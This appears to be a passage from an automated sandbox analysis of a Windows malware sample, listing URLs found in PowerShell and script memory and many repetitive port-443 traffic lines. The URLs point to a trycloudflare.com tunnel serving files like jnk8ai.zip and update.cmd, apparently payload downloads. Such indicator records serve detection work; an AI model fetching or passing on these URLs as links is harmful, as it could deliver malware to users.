Source: powershell.exe, 00000006.00000002.1406828064.000002AECE2EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDC9F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDCB39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F3FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F4137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare
Source: powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.
Source: powershell.exe, 00000006.00000002.1406828064.000002AECDAFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E52E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/22spectrum-exactly-knitting-rural.trycloud
Source: ZtefPP1HI7.cmd	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf
Source: powershell.exe, 0000000E.00000002.1486987097.000001D0E22C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp, ZtefPP1HI7.cmd	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip
Source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip%NL
Source: powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip/N
Source: timeout.exe, 0000000D.00000002.1467276955.000001F6D2DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipA~
Source: AppInstallerPythonRedirector.exe, 0000000A.00000002.1462464479.000002091622B000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1465375214.00000236BDE3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipLMEM
Source: powershell.exe, 00000006.00000002.1406516377.000002AECAE50000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000D.00000002.1467205701.000001F6D13B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipO
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipV
Source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipX
Source: AppInstallerPythonRedirector.exe, 0000000A.00000002.1462441744.0000020916213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1465314679.00000236BDE13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zips
Source: ZtefPP1HI7.cmd	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp, ZtefPP1HI7.cmd	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd
Source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd?Nr
Source: powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdCommonProgramFiles=C
Source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486894022.000001D0E22B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486987097.000001D0E22C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdCommonProgramFiles=C:
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdH
Source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdX
Source: powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
